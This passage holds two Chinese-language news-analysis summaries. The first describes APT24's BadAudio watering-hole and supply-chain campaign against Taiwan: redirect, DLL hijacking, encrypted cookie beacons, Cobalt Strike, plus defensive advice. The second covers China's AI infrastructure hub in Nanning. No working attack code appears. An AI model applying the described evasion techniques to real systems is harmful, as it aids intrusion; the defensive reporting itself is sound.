I[建立持久化后门]B. 战略性 Web 入侵攻击流sequenceDiagram participant V as 受害者 participant CW as 合法网站 participant Att as 攻击者基础设施 participant C2 as C2服务器 V->>CW: 访问网站 CW->>Att: 恶意JS重定向 Att->>V: 返回BadAudio下载器 V->>V: DLL劫持执行 V->>C2: 发送加密信标 C2->>V: 返回加密载荷 V->>V: 解密执行BeaconC. JavaScript 供应链攻击graph LR A[数字营销公司] --> B[JS库被入侵] B --> C[恶意代码注入] C --> D[客户端访问] D --> E[重定向至攻击者] E --> F[BadAudio载荷下载]D. 性能指标攻击持续时间：三年被入侵网站数量：超过 20 个合法网站加密强度：AES 加密检测规避：Cookie 参数加密传输3. 数据与事实A. 攻击范围持续时间：约三年目标区域：台湾地区被入侵网站：20+ 合法公共网站B. 技术特点编程语言：C++混淆技术：控制流平坦化加密算法：AES后门工具：Cobalt Strike BeaconC. 攻击载体恶意 JavaScript 注入加密压缩包（VBS、BAT、LNK 文件）合法云存储平台（Google Drive、OneDrive）四、影响分析1. 行业影响A. 供应链安全威胁数字营销公司成为攻击跳板，凸显供应链安全的重要性。第三方服务提供商的安全状况直接影响下游客户。B. 水坑攻击趋势合法网站被入侵用于攻击访客，水坑攻击（Watering Hole）依然是高级威胁组织的有效战术。C. 检测规避升级攻击者使用 Cookie 参数加密传输信标数据，规避传统网络检测，需要更高级的检测手段。2. 用户影响A. 台湾地区组织主要针对台湾地区的实体，包括政府和私营部门组织。B. 访问被入侵网站的用户超过 20 个合法网站被注入恶意代码，普通访客面临被植入恶意软件的风险。C. 供应链下游企业使用被入侵数字营销公司服务的多个组织同时受到影响。3. 技术趋势A. 攻击战术演变从广泛攻击转向精确针对性攻击结合多种攻击向量提高成功率利用合法平台规避检测B. 恶意软件复杂化控制流平坦化等高级混淆技术普及多阶段载荷传递增加分析难度合法工具滥用（Cobalt Strike）C. 防御挑战传统网络检测难以识别加密信标合法网站被入侵增加防御难度云存储平台被滥用需要新的检测策略五、防护建议1. 组织层面A. 供应链安全评估定期评估第三方服务提供商的安全状况建立供应链安全准入标准监控第三方服务的异常行为B. 网站安全加固定期进行漏洞扫描和安全测试实施 Web 应用防火墙（WAF）监控网站异常 JavaScript 注入C. 员工安全意识开展钓鱼邮件识别培训建立可疑邮件报告机制强调不随意下载未知附件2. 技术层面A. 端点检测部署端点检测与响应（EDR）解决方案监控异常 DLL 加载行为检测控制流平坦化等混淆特征B. 网络监控实施 SSL/TLS 流量分析监控异常网络连接模式建立威胁情报驱动的检测规则C. 横向移动防护实施网络分段限制管理员权限使用监控异常横向移动行为六、各方反应1. 研究机构Google Cloud 安全分析师通过识别与以往 APT24 活动一致的模式，发现了 BadAudio 恶意软件，并发布了详细的技术分析报告。2. 业内评价A. 专家观点APT24 的战术演变展示了高级威胁组织的适应能力供应链入侵与定向钓鱼的结合增加了防御难度控制流平坦化等混淆技术的使用需要更先进的分析工具B. 技术社区强调需要加强供应链安全管理呼吁改进网络流量分析能力建议部署更高级的端点检测解决方案七、相关链接1. 官方报告Google Cloud 威胁情报报告：APT24 Multi-Vector Attacks2. 相关报道Cyber Security News 原文报道APT24 组织历史活动分析3. 技术文档Cobalt Strike Beacon 技术分析控制流平坦化混淆技术解析参考资料China-linked APT24 Hackers New BadAudio Compromised Legitimate Public Websites to Attack UsersAPT24 Pivot to Multi-Vector Attacks - Google Cloud
中国 AI 势力圈扩张战略技术分析（上）一、新闻概述1. 标题中国正加速将世界纳入其 AI 势力圈2. 发布时间2025 年 12 月 10 日（第一部分）3. 来源China: Technosphere二、核心内容1. 事件摘要A. 主要内容中国正在广西壮族自治区南宁市大规模建设 AI 基础设施，以成为中国向东南亚出口 AI 技术的门户。这是中国更广泛努力的一部分，旨在将其 AI 势力圈扩展至全球。B. 核心亮点广西南宁正在迅速建设 AI 算力基础设施目标成为中国面向东盟的 AI 出口门户东盟仅是中国全球 AI 势力圈扩张的初始阶段TikTok 依赖奇安信（威胁情报公司）提供安全服务2. 关键信息A. 涉及产品/技术华为昇腾 AI 芯片全栈技术算力中心基础设施AI 安全产品B. 地理战略节点南宁五象云谷数据中心中国—东盟人工智能计算中心中国—东盟 AI 创新合作中心C. 战略目标辐射东盟，成为中国与东盟地区的顶尖算力中心3. 背景介绍A. 战略定位广西壮族自治区毗邻东盟国家，成为中国 AI 技术出口东南亚的战略支点。B. 相关上下文随着中国 AI 技术的快速发展，中国正在积极构建全球 AI 基础设施网络，以推广其技术标准和产品。三、详细报道1. 主要内容A. 五象云谷数据中心五象云谷有限公司由总部位于南宁的润建股份有限公司建设。该数据中心于 2021 年底至 2022 年秋季间投入运营。技术规格：当前算力：5000P（每秒 5000 京次浮点运算）规划算力：40000P（两个 10000 卡算力集群）目标定位：跻身中国和东盟地区前三的算力中心战略规划：「一旦全面建成，将成为辐射东盟的超大型算力枢纽」。目标是让东盟国家从该枢纽租赁算力资源。graph LR A[润建股份] -->|建设| B[五象云谷数据中心] B -->|5000P 算力| C[当前规模] B -->|40000P 算力| D[规划目标] B -->|算力租赁| E[东盟国家]B. 中国—东盟人工智能计算中心中国—东盟人工智能计算中心位于距离五象云谷数据中心仅几分钟车程的位置，于 2023 年 9 月 19 日正式开放。技术架构：该计算中心基于华为生态系统构建，包含：昇腾 AI 芯片CANN（帮助华为芯片高效运行 AI 模型的软件）MindSpore（用于构建、训练和运行 AI 模型的软件框架）算力配置：AI 训练算力：40P（每秒 40 京次浮点运算）AI 推理算力：1.4P（每秒 1.4 京次浮点运算）采用华为昇腾全栈人工智能技术建设单位：数丝科技集团有限责任公司由其母公司南宁产业投资集团有限责任公司于 2022 年建立。C. 中国—东盟 AI 创新合作中心在数据中心以北几分钟车程的位置，中国—东盟 AI 创新合作中心和中国—东盟华为创新中心已经建成。功能定位：旨在成为面向东盟国家、香港、澳门和台湾的 AI 平台。资金支持：中国银行提供 300 亿元人民币支持，在未来五年内帮助广西企业向东盟国家扩张。合作企业：已签署合作协议的公司包括：越南 Vela 集团（技术）新加坡 BariumTech（技术）缅甸 GT Broadband（宽带和信息服务）设施组成：AI 展览馆智能工厂东盟分支机构联络中心东盟 AI 培训基地东盟国家联络处graph TB subgraph 广西南宁 AI 基础设施集群 A[五象云谷数据中心] B[中国—东盟 AI 计算中心] C[中国—东盟 AI 创新合作中心] D[中国—东盟华为 AI 创新中心] end A -->|算力支持| E[东盟国家] B -->|华为昇腾全栈技术| E C -->|AI 平台服务| E D -->|技术集成与出口| E F[中国银行 300 亿元] -->|资金支持| C G[南宁产业投资集团] -->|建设| B H[润建股份] -->|建设| AD. 中国—东盟华为 AI 创新中心该中心由华为和广西投资集团（国有企业）于 2019 年共同建立。战略定位：华为与广西的 AI 规划高度契合，目标是实现「在北京、上海和广州进行研发 + 在广西进行集成 + 在东盟进行应用」。实施路径：华为将当地企业整合到其生态系统中通过广西本地公司（如润建股份）与广东（如华为）的集成下一步将技术出口到东盟国家E. 企业聚焦：奇安信奇安信位于北京市西城区西直门外南大街 26 号 1 号楼。2025 年 9 月，这家网络安全公司揭幕了其中国—东盟 AI 安全研究院。研究方向：该研究院的工作将与中国—东盟 AI 合作中心保持一致，专注于三个重点领域：AI 网络安全AI 网络安全标准AI 网络安全人才核心产品：大模型安全护栏（LLM security fence），该产品通过检测和阻止以下内容来提高部署 LLM 的公司安全性：提示词注入恶意代码生成数据泄露支持语言：印尼语、马来语、越南语、泰语和英语。TikTok 与奇安信的关系奇安信的威胁情报部门似乎将 TikTok 列为客户。这引发了一个重要问题：关注点：对 TikTok 的担忧集中在中国国家获取 TikTok 用户数据上，因为其总部位于北京的母公司字节跳动受中国《国家情报法》约束。更深层的问题：如果 TikTok 依赖奇安信来获取敌对国家行为体的威胁情报，它将对中国威胁行为体视而不见。证据：奇安信的威胁情报地图包含大量国家行为体的数据，包括印度、越南和阿尔及利亚，但完全排除了中国。矛盾：鉴于奇安信似乎不追踪中国网络威胁行为体，TikTok 如何确保防范来自中国的威胁？结论：奇安信不监控中国网络威胁行为体并不令人惊讶，因为这些行为体似乎是它的客户。奇安信似乎已成功中标解放军的采购合同。graph LR A[TikTok] -->|威胁情报服务| B[奇安信] B -->|排除| C[中国网络威胁行为体] B -->|追踪| D[其他国家威胁行为体] E[解放军] -->|采购合同| B F[字节跳动] -->|受国家情报法约束| A style C fill:#ff9999 style E fill:#ff9999 style F fill:#ff9999四、技术细节1. 华为 AI 技术栈中国—东盟 AI 计算中心采用的全栈技术：组件功能昇腾 AI 芯片硬件加速CANN芯片软件优化MindSporeAI 模型框架2. 算力规模对比数据中心算力规模定位五象云谷5000P（当前）/ 40000P（规划）商业算力租赁中国—东盟 AI 计算中心40P 训练 + 1.4P 推理华为技术展示五、影响分析1. 地区影响A. 东盟国家机遇：获得低成本算力资源风险：形成对中国 AI 技术的依赖B. 技术主权东盟国家所谓的「独立可控 AI 主权模型」实际上与中国共产党意识形态价值观保持一致。2. 行业影响A. AI 算力市场中国通过大规模算力基础设施输出，抢占东盟 AI 基础设施市场。B. 网络安全奇安信等中国安全公司向海外扩张，可能影响全球网络安全格局。六、各方反应1. 官方立场中国政府通过「一带一路」倡议积极推动 AI 技术输出。2. 国际观察民主国家需要警惕中国通过 AI 基础设施建设扩大地缘政治影响力。参考资料China Is Racing to Draw the World Into Its AI Sphere (Part I)China: Technosphere Newsletter